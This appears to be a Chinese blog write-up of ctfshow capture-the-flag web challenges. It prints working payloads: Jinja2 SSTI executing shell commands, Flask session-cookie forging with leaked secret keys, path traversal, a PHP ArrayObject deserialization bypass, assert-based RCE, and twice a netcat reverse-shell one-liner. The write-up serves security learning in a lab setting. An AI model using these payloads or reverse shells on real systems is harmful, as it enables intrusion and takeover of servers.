ctfshow 愚人杯&菜狗杯部分题目(flasksession伪造&ssti)

 

目录

<1>愚人杯

(1) easy_signin

(2) easy_ssti(无过滤ssti)

(3) easy_flask(flash-session伪造)

(4) easy_php(C:开头序列化数据)

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

 (2) 一言既出,驷马难追(intval)

 (3) 传说之下(js控制台)

(4) 算力超群(python eval命令执行)

(5) 茶歇区(整形溢出)

​编辑


<1>愚人杯

(1) easy_signin

img参数 传入 index.php的base64编码

然后复制图片base64编码

解码得到flag

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$image=$_GET['img'];

$flag = "ctfshow{7180858b-b87e-450d-8944-a3d719f92ada}";
if(isset($image)){
	$image = base64_decode($image);
	$data = base64_encode(file_get_contents($image));
	echo "<img src='data:image/png;base64,$data'/>";
}else{
	$image = base64_encode("face.png");
	header("location:/?img=".$image);
}




(2) easy_ssti(无过滤ssti)

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'
http://4de9f549-c52a-44a4-8839-1e14dddf604e.challenge.ctf.show/hello/{{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__.__builtins__.eval("__import__('os').popen('cd ..;cat *lag').read()")}}

(3) easy_flask(flash-session伪造)

 得到 SECRET_KEY:'S3cr3tK3y'

根据提示:But,there are some things I only want to give to users whose role is admin.

 应该是 需要构造JWT里role为admin身份即可

利用flask_session_cookie_manager3.py 伪造JWT

{"loggedin": true,"role": "admin","username": "a"}

eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhIn0.ZChNpw.V3E8F9wjt306gFpc0_5hA7bAl9Y 

...... 怎么是假的  不过 也给我们提供了下载路由  下载一下 app.py 成功得到源码

得到了 ........ 隐藏的内容

users = {
    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}

@app.route('/download/')
def download():
    if 'loggedin' in session:
        filename = request.args.get('filename')
        if 'filename' in request.args:              
            return send_file(filename, as_attachment=True)
  
    return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass
        
    return "hello"

/hello路由存在 eval() 可以命令执行

 __import__('os').system('nc ip port -e /bin/sh')

(4) easy_php(C:开头序列化数据)

<?php 
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>

正则过滤了 以 O:数字 或者a:数字 开头的,明显 过滤了 平常的类与数组的序列化格式数据

?1%2b1>2=C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}

之前攻防世界 Web_php_unserialize 就可以通过 O:+7 这种形式绕过 /[oc]:\d+:/i 的正则  但这里因为是php7.几的版本 因此不能利用 O:+7绕过,反序列化不了。 如果是5.几 是可以的

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

存在 /download路由 可以任意文件下载,之过滤了flag

根据报错 得到当前路径 /app/static/img/

 目录遍历,下载app.py  访问:/download?file=../../app.py

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

可以看见SECRET_KEY : 'tanji_is_A_boy_Yooooooooooooooooooooo!'

当前session为:eyJjdXJyZW50X3dpZmkiOiJhZjE2ZWMxMmZmYTUwZDQ1MGJjYjUyNTQ1NjJjYmY4Zi5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZCgl0g.cvGaUTCW77a8qu5VaFee5OsFyxI 

我们应该利用SECRET_KEY flask 伪造session 为admin

github上有对应项目:flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 拿伪造好的session 去访问 /secret_path_U_never_know

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'isadmin': True}"

 (2) 一言既出,驷马难追(intval)

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
}

利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce

?num=114514)==1%20or%20system(%27ls%27);%23

?num=114514);(1919810

?num=114514%2b1919810-114514    %2b是+

 (3) 传说之下(js控制台)

看js源码 发现创建了一个 Game对象,里面记录的 分数 score

 在控制台输入: Game.score=2077 然后玩游戏吃一个果子就行

(4) 算力超群(python eval命令执行)

 b变量没有任何校验,直接import os模块,system命令执行反弹shell

__import__('os').system('nc ip port -e /bin/sh')

(5) 茶歇区(整形溢出)

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值